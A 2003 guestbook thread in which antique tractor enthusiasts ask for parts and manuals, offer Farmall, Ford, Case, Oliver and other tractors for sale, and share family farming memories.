malik humayun baghoor wrote on Wednesday, May 07, 2003 (PDT):i m pakistani and in distirct khushab we all like ford tractors verumuch. plz send me pictures of ford tracrors and ur company calandres i love ford. plz send me cal.. my adds is in khushab
malik humayun baghoor wrote on Wednesday, May 07, 2003 (PDT):i m pakistani and in distirct khushab we all like ford tractors verumuch. plz send me pictures of ford tracrors and ur company calandres i love ford. plz send me cal.. my adds is in khushab
Ted Jewell wrote on Tuesday, May 06, 2003 (PDT):I have a 1947 Oliver Row Crop 60 for sale. I bought it in 1995 soon after it had been painted. Runs good.
tom docteur wrote on Tuesday, May 06, 2003 (PDT):I'm looking for sleeves,bearings,pistons,rods,ect.. for a 1939f-20.serial#1366 87n. Thanks
Steven R. Barry wrote on Saturday, May 03, 2003 (PDT):I have A Case Tractor for sale. I think The Model is A VA. It Start's very easy but has the air filter missing off the carberator. All the metal is in very good shape. This would be an easy tractor to restore. Also it has a small antifreese leak on the motor. I have the owners manual too. Is $500 dollars too much to ask for this tractor??
Dolores Solyst wrote on Saturday, May 03, 2003 (PDT):I have a child's riding tractor made to scale. Was used as a promotional at a International Harvestor convention many years ago. I purchased it for my first grandson who is now twenty years old. At the time of purchase it was at least twenty-five years old. Has original red paint on the metal wagon attachment. The tractor has been repainted but they left the identifying INTERNATIONAL HARVESTER sign on the engine. It is peddeld and in is working condition with the steering wheel controling the front wheels. Any interested party, please contact me. We have all outgrown it!!
lynn gunter wrote on Saturday, May 03, 2003 (PDT):i am looking for a shop manual for a 1947 cub i just got tow days ago if you know of one please let me know thanks a lot
tim wrote on Tuesday, April 29, 2003 (PDT):I have a Ford 8n with a flat 6,what kind of power does one make.
James Smith wrote on Monday, April 28, 2003 (PDT):I need a cultivator for a B farmall and the power lift. Im also looking for parts for planter jr square box.
Peter wrote on Monday, April 28, 2003 (PDT):HI-my family is looking to purchase a Farmall B tractor in good condition for my Dad's 70th Birthday present. We are located in northern Wisconsin. If anyone has information-please e-mail. Thank you.
Seth wrote on Monday, April 28, 2003 (PDT):I was just woundering if anyone had an idea about how to rebuild one, it isnt getting a spark any ideas on how to fix it. thanks
Randall Smith wrote on Saturday, April 26, 2003 (PDT):Looking for a restorable L in central TX.Love to trade.What do you need?
J Horner wrote on Saturday, April 26, 2003 (PDT):I purchased a Farmall Cub today. I paid $1500.00 for it. I did not expect it to be in all that great of shape. Boy, was I surprised when he took the cover off. The tractor is in almost mint condition. It has cultivators, two plows and a har. I think thats what they call it! It even has the original owners manual. Anyway, I think I got a steal in it. It's the best $1500 I ever spent. Ive always wanted a tractor and what better one to start a collection with than a Cub.
Nancy Leemhuis wrote on Saturday, April 26, 2003 (PDT):I recently brought my childhood Farmall C home after my Father passed away at 90 years of age. He purchased it in 1950 as a "white" demo, and it was painted red before we could bring it home. I am looking for replacement or oem parts. Does anyone have any info on places to look. We are in need of a gas tank. Thank you so much.
john wrote on Saturday, April 26, 2003 (PDT):my dad has a 36 f20 and is rebuilding it and having a good time .any one know where he could get decals and carb. parts
Bryan Snyder wrote on Saturday, April 26, 2003 (PDT):I just purchased my great-grandfather's Oliver 70, serial #224772. He purchased it 3/21/1939, for $1138.00. It still runs and I hope to clean it up for show.
David McGee wrote on Friday, April 25, 2003 (PDT):I have a 1933 F-20 I am restoring. I need a piston and rod assembly and intake mainfold to complete. Got one? How much?
Paul Easterwood wrote on Tuesday, April 22, 2003 (PDT):I am restoring a 1948 Allis G and am having lots of trouble locating a place or company where I can purchase the rear tires and tubes. Can anyone help me with this info. Please
Paul Easterwood wrote on Tuesday, April 22, 2003 (PDT):I am restoring a 1948 Allis G and am having lots of trouble locating a place or company where I can purchase the rear tires and tubes. Can anyone help me with this info. Please
ridemgal wrote on Tuesday, April 22, 2003 (PDT):Am looking at a MH 40 gas w/ loader. It's running, good cond. Can't find any info on the 40 model. How much is something like this worth? Seller is asking 3475 - that seems kind of pricey
Max Moore wrote on Monday, April 21, 2003 (PDT):I was recently given what I am told is a 1936 Farmall F-20. This tractor was purchased by Earl Stuart in Randolph Utah. He bought it new, and before he died, used to tell everyone it was the first rubber tired tractor in Rich County, and was quite proud of the fact. My wife's Dad (who used it alot) says it ran on Distillate, gas or kerosene (?) What the heck is Distillate? Anyway, I'm told the motor was rebuilt, just before being parked. It sat outside in Randolph Utah until last summer. The motor turns over, and I have the original owner's manual, in fair condition. The crank is missing. They had an old tin can over the exhaust pipe, thankfully. What kind of parts support is available for this thing? What's it worth? Is it worth restoring? Any help/advise is appreciated. Thanks, Max
Randy Van Beek wrote on Monday, April 21, 2003 (PDT):I'm looking for a late model 45-46 JD-LA to restore. Anywhere in the Western United States. My father used to own one when I was a kid and I would like to restore it and give it to him. He traded his away to help me when I was a young kid. He talks about it all the time.
wayne myren wrote on Thursday, April 17, 2003 (PDT):Im looking for a hydrolic valve bodie for 44 special.Its in front of the seat It lift a plow or what ever.Mine does not open or close all the way and over heats the pump.If any one has one or know were to get. phone 1 807 543 2063 Canada
Clay Marceaux wrote on Wednesday, April 16, 2003 (PDT):I have never restored anything before so I need a little help. I think I am looking at an R and I need to know where is the tag with ser. number,model number, located on an R, if it has one at all. Thank you.
jackie wrote on Tuesday, April 15, 2003 (PDT):I have a 1955 lo boy that is for sale in excellent condition. It has a blade and wheel wieghts and runs extremely well. If anyone interested please email Jagalluzzo at yahoo.com. Thanks
Rockie Brown wrote on Monday, April 14, 2003 (PDT):I need help on a 3 point hitch problem. I bought a MH that I believe is a 33. It has a 3 point hitch that actually has the top link below the PTO (I stated incorrectly in another message that the top link was above the PTO which is normal). How can this operate anything and not interfere with the operation of the shaft?
Rockie Brown wrote on Monday, April 14, 2003 (PDT):I need help on a 3 point hitch problem. I bought a MH that I believe is a 33. It has a 3 point hitch that actually has the top link above the PTO. How can this operate anything and not interfere with the operation of the shaft?
Rex Jessee wrote on Saturday, April 12, 2003 (PDT):Instead of IH I should have stated that I'd bought a farmall cub and was trying to find out about the serial#'s. Also found this number on a small plate on the right side of the motor# 10-31-s. can anyone explain what they mean? All help is appreciated! Thanks!
Mr Mallett wrote on Saturday, April 12, 2003 (PDT):I have a Ford 8n ser# *8N28768* is this right or not and I changed seal on hyd system and it still doesnt liftneed help
Gary-Mississippi wrote on Saturday, April 12, 2003 (PDT):My dad bought a new F-14 in September, 1939. He passed away in 1977.My Brother still has this tractor at Laredo, Mo This tractor was quite unique. It had a "road gear" lst gear was the same speed as 2nd in the tractors without road gear. It had dual wheels on the rear, something like 4X44 inches. Some asked about the shift pattern. It was the same as an auotmobile floor shift 3 speed, laid on its side. My mother would be 94 now and I recall her telling someone that 50 or so years ago when they were going to drive the '14 while we hauling in hay. Loved that tractor!!! Daddy built a cab for it for gathering corn while we still in Nebraska before heat housers came out. We bought a farm in missourin 46.
DON CRAIN wrote on Saturday, April 12, 2003 (PDT):Where may I find a wiring diagram for a CUB with magneto.
Rex Jessee wrote on Friday, April 11, 2003 (PDT):Recently bought an IH and I am not sure where to find the serial#. I found a plate on the rightside of the motorwith the numbers#94735 and below that numbers#1800 Has hydralic cultivators and pto with a pulley on it. Can anyone tell me the year it was built and if there is a given name for it? Thanks for your help!
arthur wrote on Friday, April 11, 2003 (PDT): about 1936 my father made one similar to the picture had a modle T engine and trnasmision with a 29 dodge transmision right behind then an old worm drive rear axel made narow the front axel was cut down alsowe put chains on the rear wheels had alot of power it would rearup if you wernt careful we plowed with a two bottom plow the plans for this came from popular mecanics magazine of those times it was fun to run i was 10 then.
james code wrote on Thursday, April 10, 2003 (PDT):I have a 1917 10-20 Titan tractor and I would like to know what the original paint color is if you ahve any information on this email me Thanks -James C. Code
Wayne Waggy wrote on Wednesday, April 09, 2003 (PDT):I have what i belive to be a B.F.Avery A ,but not sure the ser# R3483. can anyone give the year and make ? It is more of a parts tractor ,but with alot of work it could be restord . would like to sell or trade .waggy85 at hotmail.com
Debbie Roe wrote on Wednesday, April 09, 2003 (PDT):I have recently bought a 1951 Farmall M for my husband, and I'm looking for a service manual and parts manual (?catalog) for it. I would appreciate any help! Thanks...
Phil Davis wrote on Wednesday, April 09, 2003 (PDT):As a youngster, I spent many hours on my dad's 8N. Although I have a 1900 diesel for work around the farm, I just couldn't resist and recently purchased a 51 model for restoration. It had the front bumper, headlights (working) rear work light and tail light, and good sheetmetal. Other than basic maintenance, ie, bushings and bearings, was in good condition. I'm am really looking forward to completing it and working an 8N again!
Dave Lobdell wrote on Tuesday, April 08, 2003 (PDT):I would like to buy an MD,Super MD or Super MD TA.
Tim Olding wrote on Saturday, April 05, 2003 (PST):I think that I have a Farmall Regular. The exhaust manifold does not go through the hood, but is directed downward. The steering gears in the front are open, and it has cables that run down the frame that connect to the brakes? I think that it had steel wheels that were cut down and welded to rims with rubber. How does one find out weather the tractor is a Reg, F12, F14, or F20. An earlier post said the open steering box is a dead givaway. Are their any letters in the serial number that will verify the type of tractor?
joe wrote on Thursday, April 03, 2003 (PST):i got 3 for them 2 run
Milt Flannery wrote on Monday, March 31, 2003 (PST):In 1949 my oldest brother, Wink, was head mechanic at Mountain Dew Coal Company (Case Dealer). For Christmas in 1949 he gave me a toy Case tractor & wagon. In March of 1950 he died of a massive heart attack. I also had a complete set of John Deere farm machinery. In 1960 our house burned and I managed to get the Case tractor out and the other toys burned up. The toy Case is built like a Model SC or DC. Just recently I saw the front of a Case tractor in a shed on a barn at Warsaw, Ky. I stopped and asked the gentleman if I could look at it. He said that would be ok and if I liked it he would put it in my home. I bought the tractor and I have it at home and am in the process of restoring it. It looks just like the toy tractor my brother gave me in 1949.
John wrote on Sunday, March 30, 2003 (PST):What's the difference in an HG42 and OC3? I've been looking at what photos I can find but can't see any consistent differences. I see there are variations in the undercarriages.
Dennis Silva wrote on Saturday, March 29, 2003 (PST):Looking for a hyd. pump for a 44-6 1949.
Brad Goble wrote on Saturday, March 29, 2003 (PST):Well i would like to find a ford 8n for sale that runs but needs abad paint job.
Brad Goble wrote on Saturday, March 29, 2003 (PST):Well i would like to find a ford 8n for sale that runs but needs abad paint job.
H. Fry wrote on Saturday, March 29, 2003 (PST):Just purchased a really nice Case SC last week at a junk auction, (3-24-03) I could not stay there so I put a reserve price on it. they called that evening and said I had the last bid. this tractor was in really nice shape not even a mark or ding on the tin! It has the older style 3 pt hitch,(works) and even the original hand crank under the seat!. has the pto cover but no fenders, but the brackets are there. I really wanted the tractor for the engine and clutch to put in my Case SI unit I purchased a year ago.. the SI WAS a military unit as it has the all the original brass plates on it still saying it was in the airborne unit and tells the date and tractor weight. what a find! but,,, I since the SC works so good, I don't have the heart to dismantle it, so I guess I will just take it to the local tractor pull and beat the Farmall H's.. Have a good day!
tommy miller wrote on Friday, March 28, 2003 (PST):I have a 1938 3 wheel, restored 1 year ago, very nice, would like to trade for good 4 wheel tractor.
Brett Isaacson wrote on Friday, March 28, 2003 (PST):My dad recently purchased a 1949 Case VAI and he is wondering if it originally came with duals.
Marshall wrote on Thursday, March 27, 2003 (PST):I just bought an H, How do you find out the year? Is it hidden in the serial number, the tag is still on the side. The tractor is straight and running, second owner sold it to me today, I even met the first owner. Any input would be great. Thanks
Bill Krolczyk wrote on Wednesday, March 26, 2003 (PST):I have a massey harris data book published by MBI published Company,PO Box 1, 729 Prospect Ave, Osceola, WI 54020-0001 Keith D. Oltrogge. I have 5 M/H's 81,(2)JR 101 &(2)101 super 10. Im starting to restore. I need a carb for the Super 101.I maybe interrested in selling the rims on the 81 if I could find a set of 10/28. The rims on the 81 are 9-32. If any one has any questions let me know I can look it up in is book.
David Bacastow inTN. wrote on Tuesday, March 25, 2003 (PST):I inherited my grandad's 37 F20 in 93 when my dad died.I have both sets of wheels iron & rubber. I ran this tractor when I was growing up originially in Arkansas city Ks.On a160 acre farm east of town. It would out pull dad's newer Massey Ferguson 444.It would climb a tree if it could get traction.
Marty Drake wrote on Tuesday, March 25, 2003 (PST):I have a case VAO-5257608, have know idea of year it is. It is in fair shape but I need a rear hub assembly. Casting # V-T-6-2 & VT37 or a list of interchangable hubs
George Kireta wrote on Tuesday, March 25, 2003 (PST):I have a AC "G" in good running conditions for sale with cultivators,plow,power take off,pulley,drags,front push blade,original operating manual and impliments manuals.Phone 814-757-8763 after 6;00 PM or email me.
Marty Stange wrote on Tuesday, March 25, 2003 (PST):I am trying to remove the oil pump from my "C" but do not have a diagram to know how to remove it. Is their anyone with a suggestion.
Hiram McAlhaney wrote on Monday, March 24, 2003 (PST):I am looking for a Allis "G" tractor. I'm in S.C. If any one has one or knows about one in my area, please send email about the condition and price.
art Jones wrote on Monday, March 24, 2003 (PST):I just received a farmall cub [unknown year] as a gift. I have no idea what year it is, but was told that it is a late 40 something. i have rebuilt antique cars for years but this is a new adventure for me. I haven't any idea about value or cost to rebuild. Will serial number help me establish year it was built?
Terry Morley wrote on Sunday, March 23, 2003 (PST): I just got a "B" from Alabama. The motor is a basket case. I need a block, sleeves, pistons. This is a LOW BUDGET operation. If you know of a motor from an "A", Super A, "B", "BN", "AV", "C", or an IH generator, that I can lay my hands on here in Florida I sure would like to know about it. Thanks, Terry
Ed Boyd wrote on Saturday, March 22, 2003 (PST):To John Northingotn's add; I would like to know what you are asking for the MT John Deere's. I would like to find one to mount belly mower to mow my acreage around the house.
Wayne Myren wrote on Friday, March 21, 2003 (PST):looking for hydrolic pump for massey harris 44 special 1955 to 1958 serial no 50001 up.My pump over heats and slows down after I split wood for ten fifteen minuts.If any one can help send me an email or phone 807 5432063.
willis Desjardine wrote on Friday, March 21, 2003 (PST):I'm looking for engine parts for a Fordson Dexta tractor with a 144 Perkins diesel engine model 1958 to 1964 serial # ? please contact me at the e-mail address above or call me at 1-800-752-6706 ext.122 or page me at (337)475-0322. Thank You Willis Desjardine
Gary Lynn Monroe wrote on Thursday, March 20, 2003 (PST):I have just purchased a 1947 M. Its my first tractor and what a jewel it is. My only problem is that it has no three point hitch. I dont even know if it is possible to put one on it?? If it is and anyone has any information or better yet a picture of one I would greatly appreciate and help I can get. Thanks.....Lynn
806 man wrote on Thursday, March 20, 2003 (PST):I have a 560 gas. My uncal and I put a sicsl mower on the 2 point. It sure runs graet. I have a frend the at has a 560d he pulled it for his first time when he was 16. He pulled it in 3 gear and had the torquc back. Just abuot killer it off. Only ih in the class and won. It is used for pulling, agering, moving box it land scrapers out of the shop mag buy raveling inc of melven ia. And most 560's in my area wount run a silige blower but his is turnd up so far it will. He drovet around the night befor the pull and to some 4-H medings. SO GO 560 PEOPLE.
806 man wrote on Thursday, March 20, 2003 (PST):I have a 560 gas. My uncal and I put a sicsl mower on the 2 point. It sure runs graet. I have a frend the at has a 560d he pulled it for his first time when he was 16. He pulled it in 3 gear and had the torquc back. Just abuot killer it off. Only ih in the class and won. It is used for pulling, agering, moving box it land scrapers out of the shop mag buy raveling inc of melven ia. And most 560's in my area wount run a silige blower but his is turnd up so far it will. He drovet around the night befor the pull and to some f-4 medings. SO GO 560 PEOPLE.
806 man wrote on Thursday, March 20, 2003 (PST):My 806 would bet the balls off any john deere. So would any ih tractor. The 806 and 856 are good tractors. But the 806 will never go down aginst any john deere. If any one has a 806 with a strate pip will it trow a flam. My 806 will ever sins it came from the deler. My dad is the sconed oner and it was the guy's bigest tractor. His naber told me that it would come over the hill and be pulling the plow and it would be throwing the fiam. Then when night came he could still tell were he was cuose of the flam. I am 14 and have drove every siries of ih tracters from the F-20,B,M,H,SUPER MTA,560,606,806,856,1456,1066,1466,1086,1486 RED POWER,5288,7140, and a john deere A,B,4630,4640,8430, and I regret driving the jd's. SO GO RED AND STAY OF JOHN IN THE SHOP ALL THE TIME DEERE PEOPLE
806 man wrote on Thursday, March 20, 2003 (PST):My 806 would bet the balls off any john deere. So would any ih tractor. The 806 and 856 are good tractors. But the 806 will never go down aginst any john deere. If any one has a 806 with a strate pip will it trow a flam. My 806 will ever sins it came from the deler. My dad is the sconed oner and it was the guy's bigest tractor. His naber told my that it would come over the hill and be pulling the plow and it would be throwing the fiam. Then when night came he could still tell were he was cuose of the flam. I am 14 and have drove every siries of ih tracters from the F-20,B,M,H,SUPER MTA,560,606,806,856,1456,1066,1466,1086,1486 RED POWER,5288,7140, and a john deere A,B,4630,4640,8430, and I regret it. SO GO RED AND STAY OF JOHN IN THE SHOP ALL THE TIME DEERE PEOPLE
Tim Holbrook wrote on Thursday, March 20, 2003 (PST):Looking for 8-16 wheels, sheet metal or a titan 10-20 for fixing up. Anyone have a waterbath air clearner out there? Please feel free to respond as I am in serious need of assistance. Thanks in advance!
Scott Youker wrote on Wednesday, March 19, 2003 (PST):I have an Oliver Super 77 rowcrop with the wide front wheels and a hydrelectric three-point hitch. However, mine is the gas (HC) model. It came with the property I bought when I started my Ostrich ranch. Now that I have sold that, I still have the Oliver and intend to keep it my whole life. I love it!
Doug Edwards wrote on Tuesday, March 18, 2003 (PST):Allis Chalmers 160 Features live PTO, live hydraulics, a Category II 3-point hitch, a 40 HP Perkins 3-cylinder diesel engine, differential lock, power adjustable rear wheels, and power steering. Very good condition, used very little over last 4 years, recently replaced transmission, engine runs well--always starts with no problem, and good tires. Located in Lawrenceburg, TN (70 miles SW of Nashville). Selling for $5300. Cost from tractordata.com listed at $6215 and average price at auction is $6000.
Aaron Bentley wrote on Tuesday, March 18, 2003 (PST):to Carlos Cadena the B farmall tractor doesnt have a water pump.they use whatis called thermosipion cooling which means warm water rises to the top of the radiator and as it continues through the radiator cooling becomes more dense. As it continues back into the block where it is heated again and rises back to the top again to the radiator.If you are filling it to the very top it will occasionly burp a little fluid ,but 2 quarts is a little much, you might need to have the radiator flushed or rodded.
Jim wrote on Friday, March 14, 2003 (PST):I purchased a Massey-Harris 44-6 last year for $850, with new paint and running. I s this a rare tractor? And about how much is it worth?
Mark Ledford wrote on Friday, March 14, 2003 (PST):I am interested in Farmall Cubs. Next year, I will probably buy some type of older tractor, and a Farmall Cub would be my first choice. If you have a Farmall Cub that you are selling for a decent price, please notify me. Thanks.
Greg Holliday wrote on Wednesday, March 12, 2003 (PST):how much hp does the oliver super 77 diesel have?
Etano wrote on Wednesday, March 12, 2003 (PST):I just found out that our 560 Farmall used to have a turbo and it was kicken out a 100+HP!! The 560 was tested for HP at the time. A few years ago, pulling a 4 Bottom, she broke her axle. Now its fix and running like a charm!!
Kenneth Kracht wrote on Tuesday, March 11, 2003 (PST):I have a B International with a single front wheel. Sheet metal good, I don't have a serial number today. It maybe for sale. Also have a 1530 and a B with a narrow front and a H with a narrow front and a M with a wide Internationl front, and two C International's. That is my International collection.
weston poste wrote on Monday, March 10, 2003 (PST):dear sir/mam I have a 193? farmal reg and a f 20 can you tell me the gross weight of this tractors I need to haul them from S.d to W.Y thank you wes.3/10/03
Bill Tankersley wrote on Monday, March 10, 2003 (PST):In 1947 my father purchased a new B.F. Avery model V form Montgomery Ward in Baltimore. We used this tractor on our truck crop farm till 1958. My dad sold it to a Mr. Lou Cost. I delivered it to his farm in the Back River neck area of Baltimore County. In the summer of 1997 my son (Rick)and I went looking for the Avery tractor. Mr. Cost is now deceased, but we found out that a neighbor had the Avery tractor. We pruchased the tractor from him.It had been setting in the woods for about 10 years and in very poor condition. It took us two years to restore the Avery.There were many hours of mechanical repairs ,sandblasting and painting.We rebuilted the tractor complete. In 2001 we won first place in the Forth of July parade Kingvilles MD. and first place at the Mason and Dixon Fair Delta PA. If anyone needs inforatoin about Avery tractors, where to get parts or help with problems in restoring Email me I will try to help you. There is a B.F. Avery Collector & Associates address is 14651 S. Edon Road Camden, Mi 49232. You can also check there web page at www.horizonview.net/~kault195
Kevin wrote on Sunday, March 09, 2003 (PST):I've been wanting to get into the tractors for a while. I grew on my grandparents small farm in Northwestern Indiana and now I own the acreage. I just purchased my first tractor a 1942 Farmall H. I lucked out the previous owner took all the original sheet metal, headlights, and parts an stored them in his basement. I planning a restoration while using it in the field. ((I'm looking for any info on clubs or any other owners in Northwestern Indiana, Lake County)). I've restored cars, but this is the first tractor.... GREAT SITE!!!!
mean green wrote on Sunday, March 09, 2003 (PST):I will have to comment,Most of you red guys are right,The IH tractor line was a good one,But,John Deere has this one advantage,SOLID,STABLE,STILL JOHN DEERE!!!!
AE Maynes wrote on Sunday, March 09, 2003 (PST):I own a Massey 44 which I am in the process of restoring. the engine was seized and I broke a sleeve while getting out one cylinder. I am getting parts and will put in new sleeves and pistons.
GAIL CARPENTER wrote on Sunday, March 09, 2003 (PST):I WAS JUST OLD ENOUGH TO BE A RIDER WHEN DAD BOUGHT OUR NEW 70, THINK WAS ABOUT 1946 OR 47. THE BURNT VALVE PROBLEM TURNED OUT TO BE THE EXHAUST OUTLET ON THE MANIFOLD, IT WAS ALL THE WAY TO THE END OF IT & NOT ON CENTER THUSLY THE VALVES AT THE FAR END RAN TO HOT. A REBUILT MANIFOLD IE DUAL EXHAUST FIXED IT.
Mark F wrote on Saturday, March 08, 2003 (PST): I have a 1939 F-20 on 13.6-36 Firestone field &road tires. She has 3 7/8 "high altitude pistons , a super good valve job, and a nice tight governor. She will pull 3-14 7" deep in 2nd gear in black silty clay loam soil. I bought the F-20 in 1979 when I was starting high school. Parts are easy to find for these . Find an old IH dealer(one that has been in business since before 1950), they sometimes have the parts in inventory. Ask for the oldest parts man , one that still knows how to look at a parts book and read the old file card system. They,ll never find parts in Case's computer system.
jim turner wrote on Saturday, March 08, 2003 (PST):I live in cent fla,. and need to know about a manual and repair parts for a farmall cub?
Justin Williams wrote on Friday, March 07, 2003 (PST):I have a F20 that was my great-grandfathers. My grandmother was driving this tractor when my grandfather asked her out on their first date. Myself and my family are looking to restore the F20 soon.
Bill Radil wrote on Thursday, March 06, 2003 (PST):Got a kick at reading some of the comments. I have owned both F-12& F-14 and can tell you that if I ever had to do any real farming again and I was to choose between the two I would take the F-14 hands down. The rpm difference really makes tractor out of it. I remember an old friend of mine who once had an F-12 and sold it to buy a JD B unstyled(I know shame on him!)I was plowing with my first F-14 I had owned. I was using his AC 2x12 plow and we were in some pretty hard gound. My friend was riding along and we were plowing a good 8 inches deep. I had the F-14 in 2nd gear and pulling it with NO problem. My friend said boy this b*#ch really has the sauce. One the best compliments a guy can get from one of the green guys.
Jerry wrote on Wednesday, March 05, 2003 (PST):I have a TO-20 that I purchased 34 years ago. I also have 11 other restored tractors. If I had to get rid of all but one I would the fergie.
Roger Fowler wrote on Wednesday, March 05, 2003 (PST):Maggie Studt - Please tell me a little about your 550. Gas or deisel, power steering, live PTO, etc. What is your location?
rory wrote on Tuesday, March 04, 2003 (PST):does anybody have any info on m made into grader (trojan front-end) how many made or if they are rare! thanks!!!!!!!!
alan wrote on Tuesday, March 04, 2003 (PST):I would like to know if anybody has pictures of a case vai tractor that sinclair had. it was painted green with a highway mower on it thank you
Jerry Heskett wrote on Tuesday, March 04, 2003 (PST):I'm in need of a good chin pan and grille w/side panels for a 1939 "L". Not rich, would appreciate reasonable priced offers. Thanks,or call 402-742-3392 NE
Howard Priddy wrote on Monday, March 03, 2003 (PST):I have a ford 850 with a Wagner iron wks loaderwhich I bought as a basket case.It is all resurrected now but would like to add a 3 pointhitch.Feasible?Available used?What all do I need?
scott wrote on Monday, March 03, 2003 (PST):I have a oc6 if any one needs one to restore or parts let me know 360 366 0354
larry chamberlain wrote on Monday, March 03, 2003 (PST):looking for a complete air filter assemby system for my 52 vai ----- show room ready ecept for missing breather email me if you have info. hersey mich area , thank you
David Weaver wrote on Sunday, March 02, 2003 (PST):My Grandfather had an H, two As, two Bs, two 620s, two 3020s, a 4010 or 4020 (can't remember which), and a 4430. Of course, he didn't have all of these at one time. Unfortunately, he passed away about 5 years ago, but my grandmother still speaks fondly of the old H he had. She never let anyone learn to drive on a tractor on her watch that didn't have a hand clutch. He got his H in 1942 during the war, and had to jump through a lot of hoops to get it. He taught me a lot of lessons about hard work, and one of the things I remember most is that he said 'if it isn't green, it isn't worth a damn'. I live in the city in an apartment now (yeah, it's like being in jail) and I haven't heard a popper in years. I have to admit I get a little jealous when I see all the posts of people restoring old tractors. Some of my favorite memories are of heading to friends houses and taking a couple of Johnny Poppers out across the farms and hitting fishing holes. I can't think of a better way of getting from pond to pond.
Dan Naber wrote on Sunday, March 02, 2003 (PST):I have a super MDTA with a fresh motor that I would like to sell
Jimmy King wrote on Saturday, March 01, 2003 (PST):When I was in High School my Dad and Uncle farmed togather they bought a F 20 at a sale for $150 to pull a bush hog in brush with we used it in the field also along with a Super A and an H The 20 would out pull the H at same speed working ground. I still have it need to get it in some day and restore it.
Jimmy King wrote on Saturday, March 01, 2003 (PST):I am 61 my dad was born in nov1914 My Granddad bought his first tractor new in 1929 it was a regular farmall I have heard dad tell about going on the other side of town about a mile & ahalf to his uncle's farm to plow proabley a direct hitch 3 disc plow. Granddad traded this tractor in 1939 for a model H. I have a friend whose dad bought a regular about the same time granddad did. each one always they bought the first sold in Greene Co. Mo. my friend still has his and uses it to plow his garden each year.
Royce L Burks wrote on Thursday, February 27, 2003 (PST):I have a ZTU serial #581574U, RE engine #81141 best I can figure it was produced in 1947. Can someone give me an idea of what it is worth? It is straight and everthing is there but has been sitting for 30 years. Where is the best site to find parts? Please help if you can. Also have a RT Serial # 401724 EE engine #401414, this one belonged to my great grandfather, and I believe it to be produced in 1939. Any help with it would be appreciated. I would like to be able to restore both. Thanks in advance.
Dick Southard wrote on Thursday, February 27, 2003 (PST):i just bought an r last spring, i love to hear it run i raked hay and disked with it last summer would love to find me a good A
Nelson wrote on Thursday, February 27, 2003 (PST):I just bought a ZB. How do I tell if the Model # has a third letter in it? I am looking for fenders and lights for this tractor.This is my second Moline.Am thinking about pulling it but don't know the horsepower or the weight.
Jim Broughton wrote on Wednesday, February 26, 2003 (PST):To; Jim in Buffalo...you got all that for $900.00? Man, you didn't buy it, you stole it !! LOL Jim in Oregon
Jim BNroughton wrote on Wednesday, February 26, 2003 (PST):To; Jim in Buffalo...you got all that for $900.00? Man, you didn't buy it, you stole it !! LOL Jim in Oregon
Duff Matson wrote on Wednesday, February 26, 2003 (PST):I have an unrestored HG68 Oliver Cletrac "high track".No mag,carb,govenor.manifold has a hole,engine may be frozen.Transmission case cracked,maybe beyond welding.One front arm or axle is broken where it touches wheels.Is this worth restoring?
jimmy wrote on Tuesday, February 25, 2003 (PST):I'm in a bind ,looking for mag parts for my sc! I really need points and condencer , and would like to have a rotor and cap.The Mag is a Edison-Splitdorf (serial# x8670 type 03195) any info on where I can find parts for the old girl would be great
Jerry Maher wrote on Tuesday, February 25, 2003 (PST):Looking for a model L or LA John Deere to restore in the New England Area.
LeRoy Diede wrote on Monday, February 24, 2003 (PST):I have a 1947 S case that my dad bought in 1956 and has been in the family ever since. About a year ago I took it all apart and rebuilt it completely new pistons, bearings, new clutch, new drive chains, completely sanded down to bear metal and repainted. Will have it done in about a month, just in time for the first tractor show in May
over time wrote on Monday, February 24, 2003 (PST):I just resantly bot a minrter 1066. I am going to pull it this summer. It has a 750 honda moter. It looks just like a 1066. The lits and fiasing lites work. And I am posibly going to have to pull agenst a 4250 jd. If it ain't red don't hook it to the sled. PS I al so an the puller man
Jim Hayes wrote on Monday, February 24, 2003 (PST):About 45 years ago I road one of those I-9's fpr many hours.Today you could not pay a guy enough to drive one.It had a lot of power,but even then it was known as a man KILLER!
Alvin Brandt wrote on Sunday, February 23, 2003 (PST):Alvin is in the process of restoring his Dad"s Farmall Regular.He would like to know where to find the serial number.He would also like to know the torque of the head bolts and exhaust manifold bolts.Would also like to know where to find a manual and a parts manual.
badger bob wrote on Sunday, February 23, 2003 (PST):just bough a 65 140 last nov. its yellow was a mower tractor for a town not to far away.it has no foot feed so its not a industrl. spok with a frend that owns red power mag. he said that it coude be orded red or yellow. mines yellow. it will be red when the snow melts. mine dos not have a ajustabel front axel. is this comon?
Ted Arndt wrote on Saturday, February 22, 2003 (PST):I've got a G707, bought it used in '76. I've used it to do all the field work, disking, cultivating, knifing, everything. It worked fairly good, a little clumsy when cultivating corn, so you had to be careful on 30" rows. The only thing I've had to change on the engine was the fuel pump but everything else is original, and it's still running, and I've still got it. It was a damn good tractor for what I need. I'm crazy about the old MM tractors and working to restore 3 of them, GB, UTU, and a UB (they're all gas engines). It's work but I like it.
Rich wrote on Friday, February 21, 2003 (PST):My father-in-law just promised me a Farmall BN that he bought from a neighbor. I haven't had a chance to go out and see it yet. Could somebody tell me roughly the dimensions of the tractor. ie. How tall, how long, how wide. -- Thanks, Rich
JimInBuffalo wrote on Thursday, February 20, 2003 (PST):I just bought my first Cub from a friend who is giving up his small farm. I paid $900 for it and it was completely restored 2 years ago. It came with a belly mower, sickle-bar mower, snow plow, various cultivators, and seed planter. I has all of the original parts intact and is beautiful to look at.
Nigel Apperley(Australia) wrote on Thursday, February 20, 2003 (PST):Have a Regular in need of some TLC. Looking for parts,draw bar, steel wheels plus a number of small bits.
Terry Antoniuk wrote on Wednesday, February 19, 2003 (PST):I have a farmall reg. serial number 1500DB for sale.And a fordson major deisel for sale. Make me a offer.
DENNIS wrote on Tuesday, February 18, 2003 (PST):NEED REAR RIM W7-24 3 RIVETS TWO ON TOP ONE ON BOTTOM I NEED TO STAY ORIGINAL IF POSSIBLE DENNIS IN WESTERN NC
Arthur B. Clark Georgia Southwestern State University wrote on Tuesday, February 18, 2003 (PST):University has a 1949 8N that we would like to restore for the school's centennial in 1906. Looking for someone close to Americus Ga to restore it. Americus is located about 135 miles south of Atlanta, 65 miles east of Columbus and 45 miles north of Albany. Would really like to get started on the restoration. Please contact me if you can help.
CHUCK SMITH wrote on Tuesday, February 18, 2003 (PST): Does a 1944 Farmall A, have a PTO, and/ or hydaruclics? This same tractor missing seat, carb, mag, air cleaner, be worth $600.00?
Eric wrote on Monday, February 17, 2003 (PST):For sale-1948 F Cub-very restorable-99% complete,cond. good. $ 1100 U S. Location--South British Columbia,Can. 250-353-2142
